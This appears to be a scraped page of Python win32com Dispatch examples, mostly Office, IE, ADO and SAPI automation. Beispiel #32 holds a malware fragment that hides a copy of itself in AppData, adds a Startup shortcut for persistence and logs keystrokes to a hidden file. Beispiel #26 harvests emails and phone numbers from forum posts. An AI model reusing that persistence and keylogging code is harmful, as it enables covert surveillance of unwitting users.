Beispiel #1
1
    def run(self):
        try:
            pythoncom.CoInitializeEx(pythoncom.COINIT_MULTITHREADED)
            #tts = DispatchWithEvents("SAPI.SpVoice.1", SpeechEvents)
            tts = Dispatch('SAPI.SpVoice')
        except:
            self.plugin.PrintError(self.plugin.text.errorCreate)
            return
        vcs = tts.GetVoices()
        voices = [(voice.GetDescription(), voice) for voice in vcs]
        tmp = [item[0] for item in voices]
        ix = tmp.index(self.voiceName) if self.voiceName in tmp else 0
        tts.Voice = voices[ix][1]

        devs = tts.GetAudioOutputs()
        devices = [(dev.GetDescription(), dev) for dev in devs]
        tmp = [item[0] for item in devices]
        ix = tmp.index(self.device) if self.device in tmp else 0
        tts.AudioOutput = devices[ix][1]

        tts.Rate = self.rate
        tts.Volume = self.volume
        tts.Speak(self.text,0)
        suffix = self.plugin.text.suffix if self.suff == "" else "%s.%s" % (
            self.plugin.text.suffix,
            self.suff
        )
        self.plugin.TriggerEvent(suffix)
Beispiel #2
0
def docFilter(fileList):
    '''
        转换word为txt,提取信息后清除txt.
    '''
    error_file = []
    for f in fileList:
        # fileName = f.split('\\')[-1].split('.')[-2].decode('gbk')
        # filePath = ''.join(f.split('\\')[:-1]).decode('gbk')
        f = os.path.realpath(f)
        fileName = f.split('\\')[-1].split('.')[0]

        print fileName.decode('gbk') + '  start ..'
        print '-------------------------------------'
        word = Dispatch("Word.Application")
        # 后台静默运行
        word.Visible = 0
        word.DisplayAlerts = 0
        try:
            doc = word.Documents.Open(f,0,ReadOnly = 1)
            saveFileTxt = re.sub('.doc','.txt',f).decode('gbk')
            #保存为 txt 格式
            doc.SaveAs(u'%s' % saveFileTxt ,7)
            content = open(saveFileTxt,'r').read()
            #开始过滤
            pattern_result =  Filter(content)
        except Exception, E:
            print E
            error_file.append(f)
            continue
        finally:
	def __init__(self,dc1,xlwb1,Hi,Me,Lo):
	
		
		
		self.High=Hi
		self.Medium=Me
		self.Low=Lo
		word = Dispatch('Word.Application')
		xlApp = Dispatch("Excel.Application")
		xlApp.Visible = True
		
	
		self.doc1 = dc1
		
		
		self.xlWb1 =xlwb1
		self.xlSht1 = self.xlWb1.WorkSheets(3)
		
		
		print "Please give path of second excel sheet"
		print "\n"
		self.xlWb2 =xlApp.Workbooks.Open(raw_input())
		
		self.xlSht2 = self.xlWb2.WorkSheets(3)
		print "Please give path and name to save file e.g C:\Users\inprsha\Desktop\hello.xlsx"
		print "\n"
		self.xlWb2.SaveAs(raw_input())
		print "enter row no in which u want to fill details"
		self.row_no=raw_input()
 def gen_excel(self, rows):
     f =  os.getcwd() + "\\" + "tmp" + repr(rows) +'.xls'
     if os.path.exists(f):
         os.remove(f)
     shutil.copy("send.xls", f)
     
     rows += 1
     f_open = (f)
     xlsApp = Dispatch("Excel.Application")
     xlsApp.Visible = False
     xlsBook = xlsApp.Workbooks.Open(f_open)
     sheet_name = u'工资表模板'
     #print (sheet_name)
     writeSht = xlsBook.Worksheets(sheet_name)
     
     to_addr = self.readSht.Cells(rows, self.mailCol).Value
     print(to_addr)
     
     for j in range(1,23):
         if j == self.mailCol:
             continue
         writeSht.Cells(2,j + 1).Value = self.readSht.Cells(rows, j).Value
         #print (writeSht.Cells(6,j).Value)
     xlsBook.Close(SaveChanges=1)
     #xlsApp.Quit()
     return to_addr
	def __init__(self, path,docfile,xml):
		self.path = path
		word = Dispatch('Word.Application')
		word.Visible=False
		self.xml=xml
		# self.doc1=word.Documents.Open(os.path.join(os.getcwd(), 'MARS.doc'))
		self.doc1=word.Documents.Open(docfile)
Beispiel #6
0
def visit_job(id, sleep = 0.001 ):  
    try:  
        #urllib.urlopen('http://192.168.1.242:8080/').read()  
		start = time.time()
		ie = Dispatch('InternetExplorer.Application')    
		ie.Visible = 0
		url = 'http://blog.sina.com.cn/zgrwzj'
		ie.Navigate(url)
		state = ie.ReadyState    			
		logger.debug("visit: %s", url)
		while 1:
			state = ie.ReadyState    
			if state ==4:   
				break
			time.sleep(1)
		state = None
		# end
		end = time.time()
		run_time = end - start
		t_str = " Elipse Time:%.2f s" % run_time
		if ret == True:
			r_str = "OK"
		else:
			r_str = "Failed"
		r_str = r_str + '\t' + t_str
		return r_str
    except Exception, e:  
        #print '[%4d]' % id, sys.exc_info()[:2]  
		exstr = traceback.format_exc() 
		logger.debug("test_job exception:%s", exstr)
		return "Exception"
Beispiel #7
0
 def __init__(self, databasename):
     global connection, command
     connection = Dispatch("ADODB.Connection")
     command = Dispatch("ADODB.Command")
     
     connection.Open(ADOdb.dsource % databasename)
     command.ActiveConnection = connection
Beispiel #8
0
	def navigate(self):
		self.v_result.id = self.task_id
		try:
			logger.debug("task_id=%3d, worker=%2d, visit=%s" % (self.task_id, self.worker_id, self.dest_host))
			start = int(time.time())
			ie = Dispatch('InternetExplorer.Application')    
			ie.Visible = 0
			ie.Navigate(self.dest_host)
			state = ie.ReadyState    			
			count = 0
			while 1:
				state = ie.ReadyState    
				if state == 4:   
					self.v_result.result = 'OK'
					self.v_result.code = 0
					break
				if count > self.timeout:
					self.v_result.result = 'Timeout'
					self.v_result.code = 1
					break
				time.sleep(1)
				count = count + 1
			end = int(time.time())
			self.v_result.consume_time = end - start
			state = None
			ie.Quit()
			ie = None
			del ie
		except Exception, e:
			exstr = traceback.format_exc() 
			print exstr
			self.v_result.result = 'Exception'
			self.code = 3
Beispiel #9
0
def excel_open(file_name):
    try:
        excel = Dispatch('Excel.Application')
        excel.Visible = False #If we want to see it change
        data_sheet = excel.Workbooks.Open(file_name)
        #Activate Excel Parts
        workBook = excel.ActiveWorkbook
        activeSheet = excel.ActiveSheet
        sheets = workBook.Sheets
        return sheets, workBook
    except:
        print '(' + str(clock(0)) + ') ERROR: Failed to initalize workbook. Retrying...'
        try:
            excel_close(workBook)
        except:
            pass
        try:
            excel = Dispatch('Excel.Application')
            excel.Visible = False #If we want to see it change
            data_sheet = excel.Workbooks.Open(file_name)
            #Activate Excel Parts
            workBook = excel.ActiveWorkbook
            activeSheet = excel.ActiveSheet
            sheets = workBook.Sheets
            return sheets, workBook
        except:
            print '(' + str(clock(0)) + ') ERROR: Failed to initialize workbook on second try.'
            return False, False
Beispiel #10
0
    def __init__(self, parent, width, height):
        """Initiate the video player
        
        Arguments
        parent -- the parent frame of this video player
        width -- the width of this video player
        height -- the height of this video player
        
        """
        tki.Frame.__init__(self, parent, width = width, height = height)
        #self.grid(sticky = tki.W + tki.N + tki.E + tki.S)
        self.grid_propagate(0)
        
        hwnd = self.winfo_id()
        windll.atl.AtlAxWinInit()
        fwnd = windll.user32.CreateWindowExA(0, 'AtlAxWin', 0, 0x50000000, 0, 0, width, height, hwnd, 0, 0, 0)
        
        if(fwnd == 0):
            error = windll.kernel32.GetLastError()
        
        #wmp = DispatchWithEvents('WMPlayer.OCX', WMPEvents)
        wmp = Dispatch('WMPlayer.OCX')
        self._wmp = wmp
        wmp_addr = int(repr(wmp._oleobj_).split()[-1][2:-1], 16)
        windll.atl.AtlAxAttachControl(wmp_addr, fwnd, 0)

        wmp.uiMode = 'mini'
        wmp.enableContextMenu = False
        
        global clickHandler
        clickHandler = self._togglePlayer
Beispiel #11
0
def StartChemDraw(visible=True, openDoc=False, showDoc=False):
  """ launches chemdraw """
  global cdApp, theDoc, theObjs, selectItem, cleanItem, centerItem
  if cdApp is not None:
    # if called more than once, do a restart
    holder = None
    selectItem = None
    cleanItem = None
    centerItem = None
    theObjs = None
    theDoc = None
    cdApp = None

  cdApp = Dispatch('ChemDraw.Application')
  if openDoc:
    theDoc = cdApp.Documents.Add()
    theObjs = theDoc.Objects
  else:
    theDoc = None
  selectItem = cdApp.MenuBars(1).Menus(2).MenuItems(8)
  cleanItem = cdApp.MenuBars(1).Menus(5).MenuItems(6)
  if _cdxVersion == 6:
    centerItem = cdApp.MenuBars(1).Menus(4).MenuItems(1)
  else:
    centerItem = cdApp.MenuBars(1).Menus(4).MenuItems(7)
  if visible:
    cdApp.Visible = 1
    if theDoc and showDoc:
      theDoc.Activate()
Beispiel #12
0
 def toExcel(self):
     #Instantiate win32com client excel object and create common objects
     xl = Dispatch("Excel.Application")
     xl.Visible = True
     xl.Workbooks.Add()
     wb = xl.ActiveWorkbook
     shts = wb.Sheets
     
     #Check for file with current path and name, change it if need be, save it
     checker = CheckFilename(self.o_path, self.filename)
     filename = checker.checkName()
     wb.SaveAs(filename)
     
     shts("Sheet1").Delete
     shts("Sheet2").Delete
     shts("Sheet3").Delete
     
     keys = self.output.keys()
     
     for sheet in keys:
         xl.Worksheets.Add().Name = sheet
         sht = shts(sheet)
         r,c = 1,1
         export = self.output[sheet]
         for row in export:
             c = 1
             for cell in row:
                 sht.Cells(r,c).Value = cell
                 c+=1
             r+=1
         
     xl.ActiveWorkbook.Save()
Beispiel #13
0
def connection ():
  global _connection
  if _connection is None:
    _connection = Dispatch ("ADODB.Connection")
    _connection.Provider = "ADsDSOObject"
    _connection.Open ("Active Directory Provider")
  return _connection
Beispiel #14
0
    def convert(self):
        try:
            # initialize COM for multi-threading, ignoring any errors
            # when someone else has already initialized differently.
            pythoncom.CoInitializeEx(pythoncom.COINIT_MULTITHREADED)
        except pythoncom.com_error:
            pass

        word = Dispatch("Word.Application")
        word.Visible = 0
        word.DisplayAlerts = 0
        doc = word.Documents.Open(self.fullname)
        # Let's set up some html saving options for this document
        doc.WebOptions.RelyOnCSS = 1
        doc.WebOptions.OptimizeForBrowser = 1
        doc.WebOptions.BrowserLevel = 0  # constants.wdBrowserLevelV4
        doc.WebOptions.OrganizeInFolder = 0
        doc.WebOptions.UseLongFileNames = 1
        doc.WebOptions.RelyOnVML = 0
        doc.WebOptions.AllowPNG = 1
        # And then save the document into HTML
        doc.SaveAs(FileName="%s.htm" % (self.fullname),
                   FileFormat=8)  # constants.wdFormatHTML)

        # TODO -- Extract Metadata (author, title, keywords) so we
        # can populate the dublin core
        # Converter will need to be extended to return a dict of
        # possible MD fields

        doc.Close()
Beispiel #15
0
def save2xlsx(fname, output_dump=None):
    """
    Do a simple : create empty xlsx, paste python list as content, save as given
    fname, close and quit MS Excel
    """

    from win32com.client import Dispatch
    if output_dump is None:
        output_dump = []
    xlapp = Dispatch("excel.application")
    xlapp.DisplayAlerts = False
    xlapp.Visible = True
    xlapp.ScreenUpdating = True

    # create a new spreadsheet
    xlbook = xlapp.Workbooks.Add()

    # use the first worksheet
    sht1 = xlbook.Sheets("Sheet1")
    # inserts all the accepted claims
    address = list2exceladdress(output_dump)
    pprint(address)
    ur1 = sht1.Range(address)
    ur1.Value = output_dump
    xlbook.SaveAs(fname)    # save the spreadsheet
    xlbook.Close()              # close the workbook
    xlapp.DisplayAlerts = True
    xlapp.Quit()                # quit Excel
    def get_table_box(self, targetSheet, startRow, endRow, startCol, endCol):
        
        """
        startRow, Starts at 1, not 0!
        endRow, Inclusive
        startCol, Starts at 1
        endCol Inclusive
        """
        logging.debug("Loading table on {}".format(targetSheet))
        raise
        # Attach the excel COM object

        xl = Dispatch('Excel.Application')

        # Open the project file
        book = xl.Workbooks.Open(self.excelPath)

        # Select the sheet
        sheet = book.Sheets(targetSheet)

        xl.Visible = False

        rows = list()
        for row in range(startRow,endRow+1):
            rows.append(list())
            for col in range(startCol, endCol+1):
                thisVal = sheet.Cells(row,col).Value
                rows[-1].append(thisVal)

        book.Close(SaveChanges=0) #to avoid prompt

        return rows
	def __init__(self,path,docfile):
		word = Dispatch('Word.Application')
		word.Visible=True
		self.path=path
		self.doc = word.Documents.Open(os.path.join(os.getcwd(), self.path))
		self.doc1=word.Documents.Open(docfile)
		# self.doc1=word.Documents.Open(os.path.join(os.getcwd(), 'MARS.doc'))
		self.doc1.Save()
def start_main():
    from sys import argv
    filePathName = NBA_POWER_RANKING_CSV_FILE

    from win32com.client import Dispatch
    xl = Dispatch('Excel.Application')
    wb = xl.Workbooks.Open(filePathName)
    xl.Visible = True # optional: if you want to see the spreadsheet
    def get_rows(self, targetSheet, startRow=1, endRow = 1000, startCol=1,endCol = 100):
        """
        Return cols until first blank
        """
        #logging.debug("Loading project from {0}".format(self.excelPath))

        # Attach the excel COM object

        xl = Dispatch('Excel.Application')

        # Open the project file
        book = xl.Workbooks.Open(self.excelPath)

        # Select the sheet
        sheet = book.Sheets(targetSheet)

        xl.Visible = False

        rows = list()

        if not endRow:
            runUntilRow = 1000
        else:
            runUntilRow = endRow

        if not endCol:
            runUntilCol = 100
        else:
            runUntilCol = endCol

        checks = 0

        for row in range(startRow,runUntilRow+1):
            col = 1

            #?? What is this?
            if not endRow and not sheet.Cells(row,col).Value:
                break

            # Only return non-empty rows!
            if sheet.Cells(row,col).Value is None:
                pass
            else:
                rows.append(list())

            for col in range(startCol, runUntilCol+1):
                checks += 1
                thisVal = sheet.Cells(row,col).Value
                #print checks, thisVal
                if thisVal is not None:
                    rows[-1].append(thisVal)

        book.Close(SaveChanges=0) #to avoid prompt

        logging.debug("Checked {} cells".format(checks))
        logging.debug("Returning {} rows".format(len(rows)))

        return rows
Beispiel #20
0
def convert(path, tempPath):
    if not path or not os.path.exists(path) or not os.path.isfile(path):
        raise Exception('Path Not Found Or Path Invalid')
    app = Dispatch('Word.Application')
    app.Visible = 0
    app.DisplayAlerts = 0
    app.Documents.Open(FileName=path)
    app.ActiveDocument.SaveAs(FileName=tempPath, FileFormat=2)
    app.Quit()
Beispiel #21
0
def RunExcelMacro():
    myExcel = Dispatch('Excel.Application')
    myExcel.Visible = 1
    myExcel.Workbooks.Add('C:\Users\zhli14\Desktop\Daily Report\MTD files\loaded.xlsm')
    myExcel.Run('Prepare_MTD')
    myExcel.Run('Find_New_Lines_and_Check_Campaigns')
    myExcel.DisplayAlerts = 1
    myExcel.Save()
    myExcel.Quit()
def weekly_generator(strdate,enddate):

     
     os.chdir("//JSELECTED PATH")
     wb = load_workbook('Weekly_Report.xlsx')
     ws = wb.create_sheet()
     ws.title = "New Weekly "+strdate
    
     #Labels removed
     db = pyodbc.connect(driver = '{SQL Server}', server ='##SERVERNAME', database = '##DATABASENAME')
     cursor = db.cursor()
     results1 = cursor.execute("""SELECT exempt_number
                               FROM [###_EXEMPT_LABELS]
                               WHERE date_completed between ? AND ?
                               """,strdate,enddate)
     rows1 = results1.fetchall()
     for item in rows1:
         index1 = rows1.index(item)
         index1 += 1
     ws.cell('B3').value = index1
     
     #Label added
     results2 = cursor.execute("""SELECT exempt_number
                                FROM [###_EXEMPT_LABELS]
                                WHERE label_needed_date between ? AND ?
                                AND current_status = 'Active'
                                """,strdate,enddate)
     rows2 = results2.fetchall()
     for item in rows2:
         index2 = rows2.index(item)
         index2 += 1

     ws.merge_cells('B2:D2')
     ws.cell('B2').value = "Weekly report"
     ws.cell('A3').value = "Labels Added"   
     ws.cell('B3').value = index1
     ws.cell('A4').value = "Labels Removed"
     ws.cell('B4').value = index2

     #This wraps the texts into the various cells.
     for i in ['B2','A3','B3','A4','B4','B2','D2']:
             ws.cell(i).style.alignment.wrap_text = True

     Shade_cells = ['A3','A4','B2']
     for i in Shade_cells:
          a1=ws.cell(''+i)
          a1.style.fill.fill_type=openpyxl.style.Fill.FILL_SOLID
          a1.style.fill.start_color.index='F0E68C'
     
     cursor.close()
     wb.save("Weekly_Report.xlsx")
     #print(ws.title,index1,index2)
     
     #This opens the excel file 
     xl = Dispatch('Excel.Application')
     wb = xl.Workbooks.Open('//Jdshare/emis_cert_restricted/Exemption quarterly reports/2014/Weekly_Report.xlsx')
     xl.Visible = True    # optional: if you want to see the spreadsheet
Beispiel #23
0
def toSVG(filename):
    graphViz=Dispatch("WINGRAPHVIZ.dot")
    f=open(filename,'r')
    data = f.read()
    f.close()
    img=graphViz.toSVG(data)
    f=open(str(filename)+'.svg','w')
    f.write(img)
    f.close()
	def __init__(self,path,docfile):
		word = Dispatch('Word.Application')
		word.Visible=True
		# self.doc1=word.Documents.Open(os.path.join(os.getcwd(), 'MARS.doc'))
		self.doc1=word.Documents.Open(docfile)
		self.path=path
		self.xmlfile = minidom.parse(self.path)
		# self.table = self.doc1.Tables(11)
		self.table2 = self.doc1.Tables(12)
		self.doc1.Save()
Beispiel #25
0
 def _export(self):
     """
     Exports Charts as determined by the settings in class variabels.
     """
     excel = Dispatch("excel.application")
     excel.Visible = False
     wb = excel.Workbooks.Open(os.path.join(self.WorkbookDirectory ,self.WorkbookFilename))
     self._get_Charts_In_Worksheet(wb,self.SheetName,self.ChartName)
     wb.Close(False)
     excel.Quit()
Beispiel #26
0
def acc2orcl(mdb,collectDate):
  oConn = Dispatch('ADODB.Connection')
  oConn.ConnectionString = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source="+mdb+"SpiderResult.mdb;"
  oConn.Open()
  conn=cx_Oracle.connect('naiawii/naiawii@cdwii01')
  cur=conn.cursor()
  table='NETDATANEW'
  td=datetime.date.today()
  if oConn.State == adStateOpen:
    print "Connected to the database: "+mdb[-4:-1]
    oRS = Dispatch('ADODB.RecordSet')
    oRS.ActiveConnection = oConn
    sql="""select ID,Mid(用户ID,1,200),Mid(城市,1,600),Mid(标题,1,600),出处,主题内容
           ,Mid(出行天数,1,25),Mid(出发日期,1,10),Mid(目的地,1,600),Mid(发起人,1,200)
           ,Mid(发起人城市,1,10),Mid(主题发表时间,1,10),Mid(发起人Mail,1,50),Mid(发起人QQ,1,50)
           ,Mid(发起人联系方式,1,100),PageUrl,采集日期 from content where 采集日期>'"""+collectDate+" 16:00:00'"+\
           " and 采集日期<'"+td.isoformat()+" 16:00:00'"
    oRS.Open(sql,oConn)
    param=[]
    while not oRS.EOF:
      content=oRS.Fields(5).Value.encode('utf8')
      email=oRS.Fields(12).Value.encode('utf8')
      qqnum=oRS.Fields(13).Value.encode('utf8')
      phone=oRS.Fields(14).Value.encode('utf8')
      if str(email)=='' or '@' not in str(email):
        email=getRe(content,'gemail')    
      if str(qqnum)=='':
        qqnum=getRe(content,'qqnum')
      if str(phone)=='':
        phone=getRe(content,'cphone')
      if str(email)=='' and str(qqnum)!='':
        email=qqnum+'@qq.com'
      #print 'email: '+email+',qqnum: '+qqnum+',phone: '+phone
      param.append({'id':oRS.Fields(0).Value,'userid':oRS.Fields(1).Value.encode('utf8')\
                    ,'city':oRS.Fields(2).Value.encode('utf8'),'title':oRS.Fields(3).Value.encode('utf8')\
                    ,'souloc':oRS.Fields(4).Value.encode('utf8'),'postcontent':content\
                    ,'days':oRS.Fields(6).Value.encode('utf8'),'departdate':oRS.Fields(7).Value.encode('utf8')\
                    ,'destination':oRS.Fields(8).Value.encode('utf8'),'postman':oRS.Fields(9).Value.encode('utf8')\
                    ,'postcity':oRS.Fields(10).Value.encode('utf8'),'postdate':oRS.Fields(11).Value.encode('utf8')\
                    ,'postemail':email,'qqnum':qqnum,'postcontact':phone,'pageurl':oRS.Fields(15).Value.encode('utf8')\
                    ,'inputdate':oRS.Fields(16).Value.encode('utf8')})
      oRS.MoveNext()
    print len(param)
    cur.setinputsizes(postcontent=cx_Oracle.CLOB)
    cur.executemany('insert into netdatanew (id, userid, city,title, souloc,postcontent, days, departdate,destination, postman\
,  postcity, postdate, postemail, qqnum, postcontact,pageurl,inputdate) values (:id, :userid, :city,:title\
, :souloc,:postcontent,  :days, :departdate,:destination, :postman, :postcity, :postdate, :postemail,  :qqnum, :postcontact\
, :pageurl, :inputdate)',param)
    cur.close()
    conn.commit()
    conn.close()
    oRS.Close()
    oRS=None
  else:
    print "Failed to connect to the database."
Beispiel #27
0
def displayArrayInExcel(a):
	import os, tempfile
	from win32com.client import Dispatch
	# write to a csv file
	(fileno, filename) = tempfile.mkstemp(suffix=".csv")
	os.close(fileno)
	scipy.savetxt(filename, a, fmt='%f', delimiter=',')
	# start excel
	xl = Dispatch('Excel.Application')
	wb = xl.Workbooks.Open(filename)
	xl.Visible = 1
def connection(username, password):
    connection = Dispatch(u("ADODB.Connection"))
    connection.Provider = u("ADsDSOObject")
    if username:
        connection.Properties("User Id").Value = username
    if password:
        connection.Properties ("Password").Value = password
        connection.Properties("Encrypt Password").Value = True
    connection.Properties("ADSI Flag").Value = adsicon.ADS_SECURE_AUTHENTICATION
    connection.Open(u("Active Directory Provider"))
    return connection
Beispiel #29
0
	def __init__(self,path,docfile):
	
		word = Dispatch('Word.Application')
		word.Visible=True
		self.doc1=word.Documents.Open(docfile)
		#os.path.join(os.getcwd(), 
		self.path=path
		# print self.path
		self.xmlfile = minidom.parse(self.path)
		self.dut = {}
		self.nmaptbldata = {}
		self.doc1.Save() 
Beispiel #30
0
def excel_open(filename, vis=True):
    '''
    Open MS Excel.  Have Excel open file: filename
    Parameters:
        filename (str): name of file Excel will open
        vis (boolean):  see the spreadsheet?
    '''
    from win32com.client import Dispatch
    xl = Dispatch('Excel.Application')
    wb = xl.Workbooks.Open(filename)
    if vis:
        xl.Visible = True # optional
Beispiel #31
0
class excel_functions:

    basePath = 'C:\\scripts\\excelwings\\'

    xlApp = None
    xlSheet = None
    workbook = None

    def __init__(self):
        print('Creating excel_functions')

    def openExcel(self, filename):
        print('openExcel', self.basePath + filename)
        self.xlApp = Dispatch('Excel.Application')
        # WARNING: The following line will cause the script to discard any unsaved changes in your workbook
        # Ensure to save any work before running script
        self.xlApp.DisplayAlerts = False

        self.xlApp.ScreenUpdating = True

        self.xlApp.Visible = 1

        self.workbook = self.xlApp.Workbooks.Open(self.basePath + filename)

    def closeExcel(self):
        self.xlApp.ActiveWorkbook.Close()
        #Restore default behaviour
        self.xlApp.DisplayAlerts = True

    def selectSheet(self, sheetname):
        self.xlApp.Sheets(sheetname).Select()
        self.xlSheet = self.xlApp.Sheets(sheetname)

        self.xlSheet.PageSetup.Zoom = 50
        self.xlSheet.PageSetup.FitToPagesTall = 1

    def clearRange(self, inrange):
        print('Clearing range', inrange)
        self.xlSheet.Range(inrange).Select()
        self.xlApp.Selection.ClearContents()

    def getRange(self, inrange):
        #Inrange could be 'A1', 'A1:C5' etc
        return self.xlSheet.Range(inrange)

    def setRange(self, inrange, invalue):
        self.xlSheet.Range(inrange).value = invalue

    def setDataRangeArray(self, startrow, startcol, data_array):
        rows = len(data_array)
        cols = len(data_array[0])
        self.xlSheet.Range(
            self.xlSheet.Cells(startrow, startcol),
            self.xlSheet.Cells(rows + startrow - 1,
                               cols + startcol - 1)).value = data_array

    def exportCharts(self):
        #Exports all the charts in a sheet
        for index, chart in enumerate(self.xlSheet.ChartObjects()):
            currentChart = chart
            currentChart.Activate
            currentChart.Select()
            currentChart.Copy
            filename = r'' + self.basePath + 'charts\\' + str(
                self.xlSheet.Name) + " " + str(index) + ".png"
            print(filename)
            currentChart.Chart.Export(Filename=filename)

    def exportChartSheet(self, chartname):
        #Export a whole chart sheet
        self.xlApp.Charts(chartname).Select()
        currentChart = self.xlApp.Charts(chartname)
        currentChart.Copy
        filename = r'' + self.basePath + 'charts\\' + str(chartname) + ".png"
        print(filename)
        currentChart.Export(filename)

    def setComboBox(self, comboboxname, invalue):
        item = self.xlSheet.OLEObjects(comboboxname)
        item.Object.value = invalue

    def getComboBox(self, comboboxname):
        item = self.xlSheet.OLEObjects(comboboxname)
        result = item.Object.value
        return result

    def insertImage(self, imgpath, inrange):
        #Inserts an image into the sheet
        rng = self.xlSheet.Range(inrange)
        height = rng.Offset(rng.Rows.Count, 0).Top - rng.Top
        width = rng.Offset(0, rng.Columns.Count).Left - rng.Left
        self.xlSheet.Shapes.AddPicture(imgpath, False, True, rng.Left, rng.Top,
                                       height, width)
Beispiel #32
0
# ADD YOUR chat_id TO THE LIST BELOW IF YOU WANT YOUR BOT TO ONLY RESPOND TO ONE PERSON!
known_ids = ['123']
#known_ids.append(os.environ['TELEGRAM_CHAT_ID']if 'TELEGRAM_CHAT_ID' in os.environ) 		# make sure to remove this line if you don't have this environment variable
appdata_roaming_folder = os.environ[
    'APPDATA']  # = 'C:\Users\Username\AppData\Roaming'
# HIDING OPTIONS
# ---------------------------------------------
hide_folder = appdata_roaming_folder + '\\' + app_name  # = 'C:\Users\Username\AppData\Roaming\Portal'
compiled_name = app_name + '.exe'  # Name of compiled .exe to hide in hide_folder, i.e 'C:\Users\Username\AppData\Roaming\Portal\portal.exe'
# ---------------------------------------------
target_shortcut = startup() + '\\' + compiled_name.replace('.exe', '.lnk')
if not os.path.exists(hide_folder):
    os.makedirs(hide_folder)
    hide_compiled = hide_folder + '\\' + compiled_name
    copyfile(argv[0], hide_compiled)
    shell = Dispatch('WScript.Shell')
    shortcut = shell.CreateShortCut(target_shortcut)
    shortcut.Targetpath = hide_compiled
    shortcut.WorkingDirectory = hide_folder
    shortcut.save()
destroy = False
keyboardFrozen = False
mouseFrozen = False
curr_window = None
user = os.environ.get("USERNAME")  # Windows username to append keylogs
schedule = {}
log_file = hide_folder + '\\.user'
with open(log_file, "a") as writing:
    writing.write("-------------------------------------------------\n")
    writing.write(user + " Log: " + strftime("%b %d@%H:%M") + "\n\n")
logging.basicConfig(filename=log_file, level=logging.DEBUG)
Beispiel #33
0
    # thread out debugger.
    thread.start_new_thread(start_debugger, (debugger, pid))

    # IE is healthy and running.
    ie_ok = True

    # ensure the appropriate bin directory exists.
    try:
        os.mkdir("bin-%d" % crash_number)
    except:
        1  # do nothing

    # grab a COM handle to the IE instance we spawned.
    start = int(time.time())
    for ie in Dispatch(CLSID):
        ie_pid = c_ulong()
        user32.GetWindowThreadProcessId(ie.HWND, byref(ie_pid))
        if ie_pid.value == pid:
            break
    print "dispatch took %d seconds.\r" % (int(time.time()) - start),

    # loop through test cases while IE is healthy, if it dies the main loop we restart it.
    while ie_ok:
        # generate a test case.
        start = int(time.time())
        os.system("c:\\ruby\\bin\\ruby.exe bnf_reader.rb > bin-%d\\%d.html" %
                  (crash_number, test_number))
        print "test case gen #%d took %d seconds.\r" % (
            test_number, int(time.time()) - start),
Beispiel #34
0
class Sapi5SharedEngine(EngineBase, DelegateTimerManagerInterface):
    """ Speech recognition engine back-end for SAPI 5 shared recognizer. """

    _name = "sapi5shared"
    recognizer_dispatch_name = "SAPI.SpSharedRecognizer"
    DictationContainer = Sapi5DictationContainer

    #-----------------------------------------------------------------------

    def __init__(self, retain_dir=None):
        EngineBase.__init__(self)
        DelegateTimerManagerInterface.__init__(self)

        EnsureDispatch(self.recognizer_dispatch_name)
        EnsureDispatch("SAPI.SpVoice")
        self._recognizer = None
        self._speaker = None
        self._compiler = None

        self._recognition_observer_manager = Sapi5RecObsManager(self)
        self._timer_manager = DelegateTimerManager(0.05, self)
        self._timer_callback = None
        self._timer_interval = None
        self._timer_next_time = 0

        if isinstance(retain_dir, string_types) or retain_dir is None:
            self._retain_dir = retain_dir
        else:
            self._retain_dir = None
            self._log.error("Invalid retain_dir: %r" % retain_dir)

    def connect(self):
        """ Connect to back-end SR engine. """
        self._recognizer = Dispatch(self.recognizer_dispatch_name)
        self._speaker = Dispatch("SAPI.SpVoice")
        self._compiler = Sapi5Compiler()

    def disconnect(self):
        """ Disconnect from back-end SR engine. """
        self._recognizer = None
        self._speaker = None
        self._compiler = None

    #-----------------------------------------------------------------------
    # Methods for working with grammars.

    def _load_grammar(self, grammar):
        """ Load the given *grammar*. """
        self._log.debug("Loading grammar %s." % grammar.name)
        if not self._recognizer:
            self.connect()

        grammar.engine = self

        # Dependency checking.
        memo = []
        for r in grammar._rules:
            for d in r.dependencies(memo):
                grammar.add_dependency(d)

        # Create recognition context, compile grammar, and create
        #  the grammar wrapper object for managing this grammar.
        context = self._recognizer.CreateRecoContext()
        if self._retain_dir:
            context.RetainedAudio = constants.SRAORetainAudio
        handle = self._compiler.compile_grammar(grammar, context)
        wrapper = GrammarWrapper(grammar, handle, context, self,
                                 self._recognition_observer_manager)

        handle.State = constants.SGSEnabled
        for rule in grammar.rules:
            handle.CmdSetRuleState(rule.name, constants.SGDSActive)

    # self.activate_grammar(grammar)
    # for l in grammar.lists:
    #     l._update()
        handle.CmdSetRuleState("_FakeRule", constants.SGDSActive)

        return wrapper

    def _unload_grammar(self, grammar, wrapper):
        """ Unload the given *grammar*. """
        try:
            wrapper.handle.State = constants.SGSDisabled
        except Exception as e:
            self._log.exception("Failed to unload grammar %s: %s." %
                                (grammar, e))

    def activate_grammar(self, grammar):
        """ Activate the given *grammar*. """
        self._log.debug("Activating grammar %s." % grammar.name)
        grammar_handle = self._get_grammar_wrapper(grammar).handle
        grammar_handle.State = constants.SGSEnabled

    def deactivate_grammar(self, grammar):
        """ Deactivate the given *grammar*. """
        self._log.debug("Deactivating grammar %s." % grammar.name)
        grammar_handle = self._get_grammar_wrapper(grammar).handle
        grammar_handle.State = constants.SGSDisabled

    def activate_rule(self, rule, grammar):
        """ Activate the given *rule*. """
        self._log.debug("Activating rule %s in grammar %s." %
                        (rule.name, grammar.name))
        grammar_handle = self._get_grammar_wrapper(grammar).handle
        grammar_handle.CmdSetRuleState(rule.name, constants.SGDSActive)

    def deactivate_rule(self, rule, grammar):
        """ Deactivate the given *rule*. """
        self._log.debug("Deactivating rule %s in grammar %s." %
                        (rule.name, grammar.name))
        grammar_handle = self._get_grammar_wrapper(grammar).handle
        grammar_handle.CmdSetRuleState(rule.name, constants.SGDSInactive)

    def update_list(self, lst, grammar):
        grammar_handle = self._get_grammar_wrapper(grammar).handle
        list_rule_name = "__list_%s" % lst.name
        rule_handle = grammar_handle.Rules.FindRule(list_rule_name)

        rule_handle.Clear()
        src_state = rule_handle.InitialState
        dst_state = None
        for item in lst.get_list_items():
            src_state.AddWordTransition(dst_state, item)

        grammar_handle.Rules.Commit()

    def set_exclusiveness(self, grammar, exclusive):
        self._log.debug("Setting exclusiveness of grammar %s to %s." %
                        (grammar.name, exclusive))
        grammar_handle = self._get_grammar_wrapper(grammar).handle
        grammar_handle.State = constants.SGSExclusive
    # grammar_handle.SetGrammarState(constants.SPGS_EXCLUSIVE)

    #-----------------------------------------------------------------------
